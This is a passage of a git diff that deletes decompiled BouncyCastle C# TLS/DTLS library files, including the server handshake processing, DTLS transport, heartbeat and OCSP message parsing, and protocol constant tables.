clientCertificate; - if (clientCertificate.IsEmpty) - { - state.keyExchange.SkipClientCredentials(); - } - else - { - state.clientCertificateType = TlsUtilities.GetClientCertificateType(clientCertificate, state.serverCredentials.Certificate); - state.keyExchange.ProcessClientCertificate(clientCertificate); - } - state.server.NotifyClientCertificate(clientCertificate); - } - - protected virtual void ProcessClientCertificate(ServerHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - Certificate clientCertificate = Certificate.Parse(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - NotifyClientCertificate(state, clientCertificate); - } - - protected virtual void ProcessCertificateVerify(ServerHandshakeState state, byte[] body, TlsHandshakeHash prepareFinishHash) - { - if (state.certificateRequest == null) - { - throw new InvalidOperationException(); - } - MemoryStream memoryStream = new MemoryStream(body, writable: false); - TlsServerContextImpl serverContext = state.serverContext; - DigitallySigned digitallySigned = DigitallySigned.Parse(serverContext, memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - try - { - SignatureAndHashAlgorithm algorithm = digitallySigned.Algorithm; - byte[] hash; - if (TlsUtilities.IsTlsV12(serverContext)) - { - TlsUtilities.VerifySupportedSignatureAlgorithm(state.certificateRequest.SupportedSignatureAlgorithms, algorithm); - hash = prepareFinishHash.GetFinalHash(algorithm.Hash); - } - else - { - hash = serverContext.SecurityParameters.SessionHash; - } - X509CertificateStructure certificateAt = state.clientCertificate.GetCertificateAt(0); - SubjectPublicKeyInfo subjectPublicKeyInfo = certificateAt.SubjectPublicKeyInfo; - AsymmetricKeyParameter publicKey = PublicKeyFactory.CreateKey(subjectPublicKeyInfo); - TlsSigner tlsSigner = TlsUtilities.CreateTlsSigner((byte)state.clientCertificateType); - tlsSigner.Init(serverContext); - if (!tlsSigner.VerifyRawSignature(algorithm, digitallySigned.Signature, publicKey, hash)) - { - throw new TlsFatalAlert(51); - } - } - catch (TlsFatalAlert tlsFatalAlert) - { - throw tlsFatalAlert; - } - catch (Exception alertCause) - { - throw new TlsFatalAlert(51, alertCause); - } - } - - protected virtual void ProcessClientHello(ServerHandshakeState state, byte[] body) - { - MemoryStream input = new MemoryStream(body, writable: false); - ProtocolVersion protocolVersion = TlsUtilities.ReadVersion(input); - if (!protocolVersion.IsDtls) - { - throw new TlsFatalAlert(47); - } - byte[] clientRandom = TlsUtilities.ReadFully(32, input); - byte[] array = TlsUtilities.ReadOpaque8(input); - if (array.Length > 32) - { - throw new TlsFatalAlert(47); - } - TlsUtilities.ReadOpaque8(input); - int num = TlsUtilities.ReadUint16(input); - if (num < 2 || (num & 1) != 0) - { - throw new TlsFatalAlert(50); - } - state.offeredCipherSuites = TlsUtilities.ReadUint16Array(num / 2, input); - int num2 = TlsUtilities.ReadUint8(input); - if (num2 < 1) - { - throw new TlsFatalAlert(47); - } - state.offeredCompressionMethods = TlsUtilities.ReadUint8Array(num2, input); - state.clientExtensions = TlsProtocol.ReadExtensions(input); - TlsServerContextImpl serverContext = state.serverContext; - SecurityParameters securityParameters = serverContext.SecurityParameters; - securityParameters.extendedMasterSecret = TlsExtensionsUtilities.HasExtendedMasterSecretExtension(state.clientExtensions); - if (!securityParameters.IsExtendedMasterSecret && state.server.RequiresExtendedMasterSecret()) - { - throw new TlsFatalAlert(40); - } - serverContext.SetClientVersion(protocolVersion); - state.server.NotifyClientVersion(protocolVersion); - state.server.NotifyFallback(Arrays.Contains(state.offeredCipherSuites, 22016)); - securityParameters.clientRandom = clientRandom; - state.server.NotifyOfferedCipherSuites(state.offeredCipherSuites); - state.server.NotifyOfferedCompressionMethods(state.offeredCompressionMethods); - if (Arrays.Contains(state.offeredCipherSuites, 255)) - { - state.secure_renegotiation = true; - } - byte[] extensionData = TlsUtilities.GetExtensionData(state.clientExtensions, 65281); - if (extensionData != null) - { - state.secure_renegotiation = true; - if (!Arrays.ConstantTimeAreEqual(extensionData, TlsProtocol.CreateRenegotiationInfo(TlsUtilities.EmptyBytes))) - { - throw new TlsFatalAlert(40); - } - } - state.server.NotifySecureRenegotiation(state.secure_renegotiation); - if (state.clientExtensions != null) - { - TlsExtensionsUtilities.GetPaddingExtension(state.clientExtensions); - state.server.ProcessClientExtensions(state.clientExtensions); - } - } - - protected virtual void ProcessClientKeyExchange(ServerHandshakeState state, byte[] body) - { - MemoryStream memoryStream = new MemoryStream(body, writable: false); - state.keyExchange.ProcessClientKeyExchange(memoryStream); - TlsProtocol.AssertEmpty(memoryStream); - } - - protected virtual void ProcessClientSupplementalData(ServerHandshakeState state, byte[] body) - { - MemoryStream input = new MemoryStream(body, writable: false); - IList clientSupplementalData = TlsProtocol.ReadSupplementalDataMessage(input); - state.server.ProcessClientSupplementalData(clientSupplementalData); - } - - protected virtual bool ExpectCertificateVerifyMessage(ServerHandshakeState state) - { - if (state.clientCertificateType >= 0) - { - return TlsUtilities.HasSigningCapability((byte)state.clientCertificateType); - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsTransport.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsTransport.cs deleted file mode 100644 index 179f7b1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/DtlsTransport.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class DtlsTransport : DatagramTransport -{ - private readonly DtlsRecordLayer mRecordLayer; - - internal DtlsTransport(DtlsRecordLayer recordLayer) - { - mRecordLayer = recordLayer; - } - - public virtual int GetReceiveLimit() - { - return mRecordLayer.GetReceiveLimit(); - } - - public virtual int GetSendLimit() - { - return mRecordLayer.GetSendLimit(); - } - - public virtual int Receive(byte[] buf, int off, int len, int waitMillis) - { - try - { - return mRecordLayer.Receive(buf, off, len, waitMillis); - } - catch (TlsFatalAlert tlsFatalAlert) - { - mRecordLayer.Fail(tlsFatalAlert.AlertDescription); - throw tlsFatalAlert; - } - catch (IOException ex) - { - mRecordLayer.Fail(80); - throw ex; - } - catch (Exception alertCause) - { - mRecordLayer.Fail(80); - throw new TlsFatalAlert(80, alertCause); - } - } - - public virtual void Send(byte[] buf, int off, int len) - { - try - { - mRecordLayer.Send(buf, off, len); - } - catch (TlsFatalAlert tlsFatalAlert) - { - mRecordLayer.Fail(tlsFatalAlert.AlertDescription); - throw tlsFatalAlert; - } - catch (IOException ex) - { - mRecordLayer.Fail(80); - throw ex; - } - catch (Exception alertCause) - { - mRecordLayer.Fail(80); - throw new TlsFatalAlert(80, alertCause); - } - } - - public virtual void Close() - { - mRecordLayer.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECBasisType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECBasisType.cs deleted file mode 100644 index 26eafe2..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECBasisType.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ECBasisType -{ - public const byte ec_basis_trinomial = 1; - - public const byte ec_basis_pentanomial = 2; - - public static bool IsValid(byte ecBasisType) - { - if (ecBasisType >= 1) - { - return ecBasisType <= 2; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECCurveType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECCurveType.cs deleted file mode 100644 index 6326e43..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECCurveType.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ECCurveType -{ - public const byte explicit_prime = 1; - - public const byte explicit_char2 = 2; - - public const byte named_curve = 3; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECPointFormat.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECPointFormat.cs deleted file mode 100644 index e0e617a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ECPointFormat.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ECPointFormat -{ - public const byte uncompressed = 0; - - public const byte ansiX962_compressed_prime = 1; - - public const byte ansiX962_compressed_char2 = 2; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/EncryptionAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/EncryptionAlgorithm.cs deleted file mode 100644 index ed9f422..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/EncryptionAlgorithm.cs +++ /dev/null @@ -1,52 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class EncryptionAlgorithm -{ - public const int NULL = 0; - - public const int RC4_40 = 1; - - public const int RC4_128 = 2; - - public const int RC2_CBC_40 = 3; - - public const int IDEA_CBC = 4; - - public const int DES40_CBC = 5; - - public const int DES_CBC = 6; - - public const int cls_3DES_EDE_CBC = 7; - - public const int AES_128_CBC = 8; - - public const int AES_256_CBC = 9; - - public const int AES_128_GCM = 10; - - public const int AES_256_GCM = 11; - - public const int CAMELLIA_128_CBC = 12; - - public const int CAMELLIA_256_CBC = 13; - - public const int SEED_CBC = 14; - - public const int AES_128_CCM = 15; - - public const int AES_128_CCM_8 = 16; - - public const int AES_256_CCM = 17; - - public const int AES_256_CCM_8 = 18; - - public const int CAMELLIA_128_GCM = 19; - - public const int CAMELLIA_256_GCM = 20; - - public const int CHACHA20_POLY1305 = 21; - - public const int AES_128_OCB_TAGLEN96 = 103; - - public const int AES_256_OCB_TAGLEN96 = 104; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExporterLabel.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExporterLabel.cs deleted file mode 100644 index b512c4f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExporterLabel.cs +++ /dev/null @@ -1,22 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ExporterLabel -{ - public const string client_finished = "client finished"; - - public const string server_finished = "server finished"; - - public const string master_secret = "master secret"; - - public const string key_expansion = "key expansion"; - - public const string client_EAP_encryption = "client EAP encryption"; - - public const string ttls_keying_material = "ttls keying material"; - - public const string ttls_challenge = "ttls challenge"; - - public const string dtls_srtp = "EXTRACTOR-dtls_srtp"; - - public static readonly string extended_master_secret = "extended master secret"; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExtensionType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExtensionType.cs deleted file mode 100644 index 21b2f1c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/ExtensionType.cs +++ /dev/null @@ -1,67 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class ExtensionType -{ - public const int server_name = 0; - - public const int max_fragment_length = 1; - - public const int client_certificate_url = 2; - - public const int trusted_ca_keys = 3; - - public const int truncated_hmac = 4; - - public const int status_request = 5; - - public const int user_mapping = 6; - - public const int client_authz = 7; - - public const int server_authz = 8; - - public const int cert_type = 9; - - public const int supported_groups = 10; - - [Obsolete("Use 'supported_groups' instead")] - public const int elliptic_curves = 10; - - public const int ec_point_formats = 11; - - public const int srp = 12; - - public const int signature_algorithms = 13; - - public const int use_srtp = 14; - - public const int heartbeat = 15; - - public const int application_layer_protocol_negotiation = 16; - - public const int status_request_v2 = 17; - - public const int signed_certificate_timestamp = 18; - - public const int client_certificate_type = 19; - - public const int server_certificate_type = 20; - - public const int padding = 21; - - public const int encrypt_then_mac = 22; - - public const int extended_master_secret = 23; - - public const int cached_info = 25; - - public const int session_ticket = 35; - - public const int renegotiation_info = 65281; - - public static readonly int DRAFT_token_binding = 24; - - public static readonly int negotiated_ff_dhe_groups = 101; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/FiniteFieldDheGroup.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/FiniteFieldDheGroup.cs deleted file mode 100644 index 4aa0b29..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/FiniteFieldDheGroup.cs +++ /dev/null @@ -1,23 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class FiniteFieldDheGroup -{ - public const byte ffdhe2432 = 0; - - public const byte ffdhe3072 = 1; - - public const byte ffdhe4096 = 2; - - public const byte ffdhe6144 = 3; - - public const byte ffdhe8192 = 4; - - public static bool IsValid(byte group) - { - if (group >= 0) - { - return group <= 4; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HandshakeType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HandshakeType.cs deleted file mode 100644 index 48a1eff..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HandshakeType.cs +++ /dev/null @@ -1,34 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class HandshakeType -{ - public const byte hello_request = 0; - - public const byte client_hello = 1; - - public const byte server_hello = 2; - - public const byte certificate = 11; - - public const byte server_key_exchange = 12; - - public const byte certificate_request = 13; - - public const byte server_hello_done = 14; - - public const byte certificate_verify = 15; - - public const byte client_key_exchange = 16; - - public const byte finished = 20; - - public const byte certificate_url = 21; - - public const byte certificate_status = 22; - - public const byte hello_verify_request = 3; - - public const byte supplemental_data = 23; - - public const byte session_ticket = 4; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HashAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HashAlgorithm.cs deleted file mode 100644 index 66046d1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HashAlgorithm.cs +++ /dev/null @@ -1,63 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class HashAlgorithm -{ - public const byte none = 0; - - public const byte md5 = 1; - - public const byte sha1 = 2; - - public const byte sha224 = 3; - - public const byte sha256 = 4; - - public const byte sha384 = 5; - - public const byte sha512 = 6; - - public static string GetName(byte hashAlgorithm) - { - return hashAlgorithm switch - { - 0 => "none", - 1 => "md5", - 2 => "sha1", - 3 => "sha224", - 4 => "sha256", - 5 => "sha384", - 6 => "sha512", - _ => "UNKNOWN", - }; - } - - public static string GetText(byte hashAlgorithm) - { - return GetName(hashAlgorithm) + "(" + hashAlgorithm + ")"; - } - - public static bool IsPrivate(byte hashAlgorithm) - { - if (224 <= hashAlgorithm) - { - return hashAlgorithm <= byte.MaxValue; - } - return false; - } - - public static bool IsRecognized(byte hashAlgorithm) - { - switch (hashAlgorithm) - { - case 1: - case 2: - case 3: - case 4: - case 5: - case 6: - return true; - default: - return false; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatExtension.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatExtension.cs deleted file mode 100644 index 80b4fc6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatExtension.cs +++ /dev/null @@ -1,35 +0,0 @@ -using System; -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class HeartbeatExtension -{ - protected readonly byte mMode; - - public virtual byte Mode => mMode; - - public HeartbeatExtension(byte mode) - { - if (!HeartbeatMode.IsValid(mode)) - { - throw new ArgumentException("not a valid HeartbeatMode value", "mode"); - } - mMode = mode; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint8(mMode, output); - } - - public static HeartbeatExtension Parse(Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - if (!HeartbeatMode.IsValid(b)) - { - throw new TlsFatalAlert(47); - } - return new HeartbeatExtension(b); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessage.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessage.cs deleted file mode 100644 index 9a28c29..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessage.cs +++ /dev/null @@ -1,79 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class HeartbeatMessage -{ - internal class PayloadBuffer : MemoryStream - { - internal byte[] ToTruncatedByteArray(int payloadLength) - { - int num = payloadLength + 16; - if (Length < num) - { - return null; - } - byte[] buffer = GetBuffer(); - return Arrays.CopyOf(buffer, payloadLength); - } - } - - protected readonly byte mType; - - protected readonly byte[] mPayload; - - protected readonly int mPaddingLength; - - public HeartbeatMessage(byte type, byte[] payload, int paddingLength) - { - if (!HeartbeatMessageType.IsValid(type)) - { - throw new ArgumentException("not a valid HeartbeatMessageType value", "type"); - } - if (payload == null || payload.Length >= 65536) - { - throw new ArgumentException("must have length < 2^16", "payload"); - } - if (paddingLength < 16) - { - throw new ArgumentException("must be at least 16", "paddingLength"); - } - mType = type; - mPayload = payload; - mPaddingLength = paddingLength; - } - - public virtual void Encode(TlsContext context, Stream output) - { - TlsUtilities.WriteUint8(mType, output); - TlsUtilities.CheckUint16(mPayload.Length); - TlsUtilities.WriteUint16(mPayload.Length, output); - output.Write(mPayload, 0, mPayload.Length); - byte[] array = new byte[mPaddingLength]; - context.NonceRandomGenerator.NextBytes(array); - output.Write(array, 0, array.Length); - } - - public static HeartbeatMessage Parse(Stream input) - { - byte b = TlsUtilities.ReadUint8(input); - if (!HeartbeatMessageType.IsValid(b)) - { - throw new TlsFatalAlert(47); - } - int payloadLength = TlsUtilities.ReadUint16(input); - PayloadBuffer payloadBuffer = new PayloadBuffer(); - Streams.PipeAll(input, payloadBuffer); - byte[] array = payloadBuffer.ToTruncatedByteArray(payloadLength); - if (array == null) - { - return null; - } - TlsUtilities.CheckUint16(payloadBuffer.Length); - int paddingLength = (int)payloadBuffer.Length - array.Length; - return new HeartbeatMessage(b, array, paddingLength); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessageType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessageType.cs deleted file mode 100644 index 1122625..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMessageType.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class HeartbeatMessageType -{ - public const byte heartbeat_request = 1; - - public const byte heartbeat_response = 2; - - public static bool IsValid(byte heartbeatMessageType) - { - if (heartbeatMessageType >= 1) - { - return heartbeatMessageType <= 2; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMode.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMode.cs deleted file mode 100644 index 19fa1d4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/HeartbeatMode.cs +++ /dev/null @@ -1,17 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class HeartbeatMode -{ - public const byte peer_allowed_to_send = 1; - - public const byte peer_not_allowed_to_send = 2; - - public static bool IsValid(byte heartbeatMode) - { - if (heartbeatMode >= 1) - { - return heartbeatMode <= 2; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/KeyExchangeAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/KeyExchangeAlgorithm.cs deleted file mode 100644 index c546a59..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/KeyExchangeAlgorithm.cs +++ /dev/null @@ -1,54 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class KeyExchangeAlgorithm -{ - public const int NULL = 0; - - public const int RSA = 1; - - public const int RSA_EXPORT = 2; - - public const int DHE_DSS = 3; - - public const int DHE_DSS_EXPORT = 4; - - public const int DHE_RSA = 5; - - public const int DHE_RSA_EXPORT = 6; - - public const int DH_DSS = 7; - - public const int DH_DSS_EXPORT = 8; - - public const int DH_RSA = 9; - - public const int DH_RSA_EXPORT = 10; - - public const int DH_anon = 11; - - public const int DH_anon_EXPORT = 12; - - public const int PSK = 13; - - public const int DHE_PSK = 14; - - public const int RSA_PSK = 15; - - public const int ECDH_ECDSA = 16; - - public const int ECDHE_ECDSA = 17; - - public const int ECDH_RSA = 18; - - public const int ECDHE_RSA = 19; - - public const int ECDH_anon = 20; - - public const int SRP = 21; - - public const int SRP_DSS = 22; - - public const int SRP_RSA = 23; - - public const int ECDHE_PSK = 24; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MacAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MacAlgorithm.cs deleted file mode 100644 index 6a33556..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MacAlgorithm.cs +++ /dev/null @@ -1,20 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class MacAlgorithm -{ - public const int cls_null = 0; - - public const int md5 = 1; - - public const int sha = 2; - - public const int hmac_md5 = 1; - - public const int hmac_sha1 = 2; - - public const int hmac_sha256 = 3; - - public const int hmac_sha384 = 4; - - public const int hmac_sha512 = 5; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MaxFragmentLength.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MaxFragmentLength.cs deleted file mode 100644 index 0d6d60a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/MaxFragmentLength.cs +++ /dev/null @@ -1,21 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class MaxFragmentLength -{ - public const byte pow2_9 = 1; - - public const byte pow2_10 = 2; - - public const byte pow2_11 = 3; - - public const byte pow2_12 = 4; - - public static bool IsValid(byte maxFragmentLength) - { - if (maxFragmentLength >= 1) - { - return maxFragmentLength <= 4; - } - return false; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NameType.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NameType.cs deleted file mode 100644 index e608f2a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NameType.cs +++ /dev/null @@ -1,11 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class NameType -{ - public const byte host_name = 0; - - public static bool IsValid(byte nameType) - { - return nameType == 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NamedCurve.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NamedCurve.cs deleted file mode 100644 index 0c45fa3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NamedCurve.cs +++ /dev/null @@ -1,89 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class NamedCurve -{ - public const int sect163k1 = 1; - - public const int sect163r1 = 2; - - public const int sect163r2 = 3; - - public const int sect193r1 = 4; - - public const int sect193r2 = 5; - - public const int sect233k1 = 6; - - public const int sect233r1 = 7; - - public const int sect239k1 = 8; - - public const int sect283k1 = 9; - - public const int sect283r1 = 10; - - public const int sect409k1 = 11; - - public const int sect409r1 = 12; - - public const int sect571k1 = 13; - - public const int sect571r1 = 14; - - public const int secp160k1 = 15; - - public const int secp160r1 = 16; - - public const int secp160r2 = 17; - - public const int secp192k1 = 18; - - public const int secp192r1 = 19; - - public const int secp224k1 = 20; - - public const int secp224r1 = 21; - - public const int secp256k1 = 22; - - public const int secp256r1 = 23; - - public const int secp384r1 = 24; - - public const int secp521r1 = 25; - - public const int brainpoolP256r1 = 26; - - public const int brainpoolP384r1 = 27; - - public const int brainpoolP512r1 = 28; - - public const int arbitrary_explicit_prime_curves = 65281; - - public const int arbitrary_explicit_char2_curves = 65282; - - public static bool IsValid(int namedCurve) - { - if (namedCurve < 1 || namedCurve > 28) - { - if (namedCurve >= 65281) - { - return namedCurve <= 65282; - } - return false; - } - return true; - } - - public static bool RefersToASpecificNamedCurve(int namedCurve) - { - switch (namedCurve) - { - case 65281: - case 65282: - return false; - default: - return true; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NewSessionTicket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NewSessionTicket.cs deleted file mode 100644 index eb321d5..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/NewSessionTicket.cs +++ /dev/null @@ -1,33 +0,0 @@ -using System.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class NewSessionTicket -{ - protected readonly long mTicketLifetimeHint; - - protected readonly byte[] mTicket; - - public virtual long TicketLifetimeHint => mTicketLifetimeHint; - - public virtual byte[] Ticket => mTicket; - - public NewSessionTicket(long ticketLifetimeHint, byte[] ticket) - { - mTicketLifetimeHint = ticketLifetimeHint; - mTicket = ticket; - } - - public virtual void Encode(Stream output) - { - TlsUtilities.WriteUint32(mTicketLifetimeHint, output); - TlsUtilities.WriteOpaque16(mTicket, output); - } - - public static NewSessionTicket Parse(Stream input) - { - long ticketLifetimeHint = TlsUtilities.ReadUint32(input); - byte[] ticket = TlsUtilities.ReadOpaque16(input); - return new NewSessionTicket(ticketLifetimeHint, ticket); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/OcspStatusRequest.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/OcspStatusRequest.cs deleted file mode 100644 index 806ccfa..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/OcspStatusRequest.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Crypto.Tls; - -public class OcspStatusRequest -{ - protected readonly IList mResponderIDList; - - protected readonly X509Extensions mRequestExtensions; - - public virtual IList ResponderIDList => mResponderIDList; - - public virtual X509Extensions RequestExtensions => mRequestExtensions; - - public OcspStatusRequest(IList responderIDList, X509Extensions requestExtensions) - { - mResponderIDList = responderIDList; - mRequestExtensions = requestExtensions; - } - - public virtual void Encode(Stream output) - { - if (mResponderIDList == null || mResponderIDList.Count < 1) - { - TlsUtilities.WriteUint16(0, output); - } - else - { - MemoryStream memoryStream = new MemoryStream(); - for (int i = 0; i < mResponderIDList.Count; i++) - { - ResponderID responderID = (ResponderID)mResponderIDList[i]; - byte[] encoded = responderID.GetEncoded("DER"); - TlsUtilities.WriteOpaque16(encoded, memoryStream); - } - TlsUtilities.CheckUint16(memoryStream.Length); - TlsUtilities.WriteUint16((int)memoryStream.Length, output); - Streams.WriteBufTo(memoryStream, output); - } - if (mRequestExtensions == null) - { - TlsUtilities.WriteUint16(0, output); - return; - } - byte[] encoded2 = mRequestExtensions.GetEncoded("DER"); - TlsUtilities.CheckUint16(encoded2.Length); - TlsUtilities.WriteUint16(encoded2.Length, output); - output.Write(encoded2, 0, encoded2.Length); - } - - public static OcspStatusRequest Parse(Stream input) - { - IList list = Platform.CreateArrayList(); - int num = TlsUtilities.ReadUint16(input); - if (num > 0) - { - byte[] buffer = TlsUtilities.ReadFully(num, input); - MemoryStream memoryStream = new MemoryStream(buffer, writable: false); - do - { - byte[] encoding = TlsUtilities.ReadOpaque16(memoryStream); - ResponderID instance = ResponderID.GetInstance(TlsUtilities.ReadDerObject(encoding)); - list.Add(instance); - } - while (memoryStream.Position < memoryStream.Length); - } - X509Extensions requestExtensions = null; - int num2 = TlsUtilities.ReadUint16(input); - if (num2 > 0) - { - byte[] encoding2 = TlsUtilities.ReadFully(num2, input); - requestExtensions = X509Extensions.GetInstance(TlsUtilities.ReadDerObject(encoding2)); - } - return new OcspStatusRequest(list, requestExtensions); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PrfAlgorithm.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PrfAlgorithm.cs deleted file mode 100644 index 95df6be..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Crypto/Tls/PrfAlgorithm.cs +++ /dev/null @@ -1,10 +0,0 @@ -namespace Org.BouncyCastle.Crypto.Tls; - -public abstract class PrfAlgorithm -{ - public const int tls_prf_legacy = 0; - - public const int tls_prf_sha256 = 1; - 